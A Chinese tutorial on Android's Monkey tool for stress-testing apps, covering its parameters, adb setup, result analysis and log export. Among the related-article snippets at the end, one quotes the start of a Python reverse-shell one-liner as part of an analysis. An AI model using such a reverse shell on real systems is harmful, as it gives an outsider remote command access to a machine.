Android自动化测试--monkey总结

摘要:
什么是Monkey Monkey是一个Android自动测试小工具。它主要用于Android压力测试,以测试应用程序是否会崩溃。顾名思义,猴子是一只猴子。猴子测试就像一只猴子,在电脑前敲键盘。5˃ 使用monkey对monkey-p包名-v1000.5执行自动测试。测试结果分析:1.2.3.4.5˃测试完成后,不会发生崩溃或异常。6˃ 如果测试期间发生崩溃或异常,monkey将在停止时打印相关错误消息。

什么是 Monkey

  Monkey 是一个 Android 自动化测试小工具。主要用于Android 的压力测试, 主要目的就是为了测试app 是否会Crash.

Monkey 特点

  顾名思义,Monkey就是猴子, Monkey测试,就像一只猴子, 在电脑面前,乱敲键盘在测试。 猴子什么都不懂, 只知道乱敲。通过Monkey程序模拟用户触摸屏幕、滑动Trackball、 按键等操作来对设备上的程序进行压力测试,检测程序多久的时间会发生异常。

Monkey程序介绍

  Monkey 程序是由 Android 系统自带,使用 Java 语言写成。在Android文件系统中的存放路径是: /system/framework/monkey.jar;

  Monkey.jar程序是由一个名为“monkey”的Shell脚本来启动执行,shell脚本在Android文件系统中 的存放路径是:/system/bin/monkey;

  Monkey 启动方式:在 cmd 命令提示符里面输入命令行来启动 monkey 测试。

一、Monkey简介:
Monkey是Android中的一个命令行工具,可以运行在模拟器里或者现实设备中,向系统发送伪随机的用户事件流(点击、滑动、Application切换、横竖屏、应用关闭)实现对正在开发的应用程序进行压力测试。monkey测试是一种为了测试软件的稳定性,健壮性的快速有效的方法。只针对Activity做测试,不能对Service做测试。

二、质量要求:
版本release(发布)前,Monkey跑出来的结果中crash要为0,final release前,Monkey跑完的总次数应为25W,结果里不允许有nullPointException出现。

三、Monkey命令参数:
1>  -p
用于约束限制,用此参数指定一个或者多个包,指定包之后,monkey将只允许启动指定app,如果不指定包,monkey将启动系统中所有的app 。

例:指定一个包     monkey -p com.htc.weather -v 1000
        指定多个包     monkey -p com.htc.weather -p com.htc.pdfreader -p com.htc.photo.widgets -v 1000
        不指定包          monkey -v 1000

2>  -v

用于指定反馈的信息级别(日志的详细程度),分为三个级别,级别越高,日志越详细。

level 0:

例:monkey -p com.htc.weather -v 1000

level 1:
例:monkey -p com.htc.weather -v -v 1000
level 2:
例:monkey -p com.htc.weather -v -v -v 1000

3> -s

指定伪随机数生成器的seed值,如果seed相同,则两次monkey 测试产生的事件序列也相同。

monkey -p com.htc.weather -s 35 -v 1000

4> --throttle(毫秒)

制定每个事件结束后的间隔时间,降低系统压力。(如果不指定系统会尽快的发送事件序列)

monkey --throttle 300

5> 定制事件

--pct-touch:指定触摸事件的百分比,例:--pct-touch 5%    , 其他相关的:
--pct-motion <percent> (滑动事件)
--pct-trackball <percent> (轨迹球事件) 
--pct-nav <percent> (导航事件 up/down/left/right)
--pct-majornav <percent> (主要导航事件 back key 、 menu key) 
--pct-syskeys <percent> (系统按键事件 Home 、Back 、startCall 、 endCall 、 volumeControl)
--pct-appswitch <percent> (activity之间的切换)
--pct-anyevent <percent>(任意事件)

6>调试选项

--dbg-no-events:初始化启动的activity,但是不产生任何事件。
--hprof:指定该项后在事件序列发送前后会立即生成分析报告  —— 一般建议指定该项。
--ignore-crashes:忽略崩溃
--ignore-timeouts:忽略超时
--ignore-security-exceptions:忽略安全异常
--kill-process-after-error:发生错误后直接杀掉进程
--monitor-native-crashes:跟踪本地方法的崩溃问题
--wait-dbg:知道连接了调试器才执行monkey测试。

四、使用示例:(本例测试环境Android studio+模拟器Nexus_5_API_23)

1>首先配置Android环境,要使用虚拟机测试的话,还要创建模拟器(真机测试就不用管)。
2>进入平台工具,我的platform-tools在下图所示路径
在Android studio自带的命令行(或者是cmd)里输入以下命令

3>启动模拟器(执行adb devices命令可以列出已连接的设备),安装待测试apk
先把apk放在platform-tools文件夹下,执行命令: adb install 文件名.apk
4>找到应用程序的主Activity所在的包名,分别执行以下命令:

ls命令执行之后从列出的包名中找到要测试的apk的主Activity的包名。

5>使用monkey进行自动化测试

monkey -p 包名 -v 1000

五、测试结果分析:

1.

  Android自动化测试--monkey总结第1张

2.

Android自动化测试--monkey总结第2张

3. 

Android自动化测试--monkey总结第3张

4.

Android自动化测试--monkey总结第4张

5>测试完成,没有crash和exception出现的情况

Android自动化测试--monkey总结第5张

6>测试中间出现crash或者exception,monkey停止会打印相关错误信息。

六、monkey测试停止条件(也可以在命令里设置出现这些停止条件后可以继续跑完测试数量)
1>如果先顶了Monkey运行在一个或几个特定的包上,那么它会检测试图转到它包的操作,并对其进行阻止;

2>如果应用程序崩溃或接收到任何失控异常,Monkey将停止并报错;

3>如果应用程序产生了应用程序不响应(application not responding)的错误,Monkey将会停止并报错。

    通过多次并且不同设定下的Monkey测试才算它是一个稳定性和健壮性足够的程序。

七、为保证测试数量的完整进行,一般不会在发生错误时立刻退出压力测试。monkey 测试命令如下
adb shell monkey -p 包名 -s 500 --ignore-crashes --ignore-timeouts --monitor-native-crashes -v -v -v 10000

八、把log导出到本地
这里分为两种情况:
1.如果我们没有进入到shell则直接执行命令:
adb shell monkey -p 包名 -s 500 --ignore-crashes --ignore-timeouts --monitor-native-crashes -v -v -v 10000 > E:monkey_log est1.txt

2.
如果已经进入adb shell,正确的导出步骤:(在前边我们执行完adb shell命令之后,进入shell命令相当于进入Linux的root下面,没有权限在里面创建文件。)
执行exit命令退出shell

然后执行adb shell monkey -p 包名 -s 500 --ignore-crashes --ignore-timeouts --monitor-native-crashes -v -v -v 10000 > E:monkey_log est1.txt

免责声明:文章转载自《Android自动化测试--monkey总结》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇tftp服务配置Linux下查看Nginx的并发连接数和连接状态-乾颐堂下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

ssh和ssl的联系和区别

ssh:Secure Shell,安全Shell,是一个软件,处于应用层旨在取代明文通信的telnet;对应的开源实现程序是openssh。  ssl:Secure Sockets Layer,安全套接字层,是一个协议,处于传输层之上应用层之下用于协商密钥;对应的开源实现库是openssl。 简写 全称 译名 身份 所处层 目的 加密算法 开源实现...

【linux】linux 下 shell命令 执行结果赋值给变量【两种方式】

方法1:【通用方法】使用Tab键上面的反引号 例子如下: find命令模糊查询在/apps/swapping目录下查找文件名中包含swapping并且以.jar结尾的文件 使用反引号引住命令,然后使用变量接收 var=` find /apps/swapping -name '*swapping*.jar' ` 打印变量结果 echo $var 方法2:使...

Android App 压力测试方法(Monkey)

转载:https://www.cnblogs.com/ailiailan/p/6543166.htmlAndroid App 压力测试方法(Monkey) 一.为什么要开展压力测试 a.提高产品的稳定性;b.提高产品的留存率 二.什么时候开展压力测试 a.首轮功能测试通过后;b.下班后的夜间进行 三.7个基础知识(理论部分) 3.1 手动测试场景与自动测试...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

linux ------ 使用 screen 后 SSH 断开后程序依旧能在后台运行

为什么ssh断开后你运行的进程会退出呢? 因为所有进程都得有个父进程。当你ssh到一个服务器上时,打开的shell就是你所有执行命令的父进程。 当你断开ssh连接时,你的命令的父进程就没了。如果处理不当,这些进程就会收到SIGTERM信号,全被干掉了。 然后说解决方案: 让你运行的进程的父进程变成PID=1的init进程,这样你的shell退出后不影响这...

nc使用详解

nc是netcat的简写,有着网络界瑞士军刀的美誉。 它的主要作用如下: 1)  实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定的端口 2)  端口的扫描,nc可以作为client发起TCP或UDP连接 3)  机器之间传输文件 4)  机器之间网络测速 命令格式及参数: 想要连接到某处: nc [-options]...